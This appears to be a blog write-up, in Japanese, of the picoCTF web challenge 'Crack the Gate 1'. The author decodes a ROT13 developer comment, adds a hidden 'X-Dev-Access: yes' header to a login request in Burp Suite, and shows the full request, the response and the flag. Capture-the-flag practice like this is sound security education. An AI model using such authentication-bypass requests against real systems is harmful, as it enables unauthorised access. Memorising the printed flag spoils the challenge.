Post

feat:🚩 picoMini by CMU-Africa「Crack the Gate」Medium

  • Challenge: Crack the Gate 1
  • Tags: browser_webshell_solvable
  • Genre: Web
  • Difficulty: EASY
  • Overview: We’re in the middle of an investigation. One of our persons of interest, ctf player, is believed to be hiding sensitive data inside a restricted web portal. We’ve uncovered the email address he uses to log in: ctf-player@picoctf.org. Unfortunately, we don’t know the password, and the usual guessing techniques haven’t worked. But something feels off… it’s almost like the developer left a secret way in. Can you figure it out?

crack_01

サイトにアクセスし,開発者ツールでソースコードを見てみると,謎のコメントが記載されています. 経験則に基づき,暗号化アルゴリズムがRot13ではないかと考えました.
よって,Cyber Chefを用いて,復号してみるとJack - temporary bypass: use header "X-Dev-Access: yes"という情報が入手できました.
下の文言にも,本番環境では削除しろと記載されているため,開発環境ログインのためのヘッダであると推測しました.

1
2
<!-- ABGR: Wnpx - grzcbenel olcnff: hfr urnqre "K-Qri-Npprff: lrf" -->
<!-- Remove before pushing to production! -->

細工したheaderを挿入するため,ログインフォームをburpsuiteでインターセプトし,Repeaterに送信します.
与えられているemailと適当なパスワードを用いて,X-Dev-Access: yesを付けて送信すると,flagが入手できました.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// Request
POST /login HTTP/1.1
Host: amiable-citadel.picoctf.net:60689
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Dev-Access: yes <--- add header
Referer: http://amiable-citadel.picoctf.net:60689/
Content-Type: application/json
Content-Length: 53
Origin: http://amiable-citadel.picoctf.net:60689
DNT: 1
Connection: keep-alive
Priority: u=0

{"email":"ctf-player@picoctf.org","password":"admin"}


// Response
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 127
ETag: W/"7f-08c0XQDBsrF6m1lSovMrUmsZSUo"
Date: Sat, 22 Nov 2025 14:13:37 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"success":true,"email":"ctf-player@picoctf.org","firstName":"pico","lastName":"player","flag":"picoCTF{brut4_f0rc4_3c6b118b}"}
Flag picoCTF{brut4_f0rc4_3c6b118b}
This post is licensed under CC BY 4.0 by the author.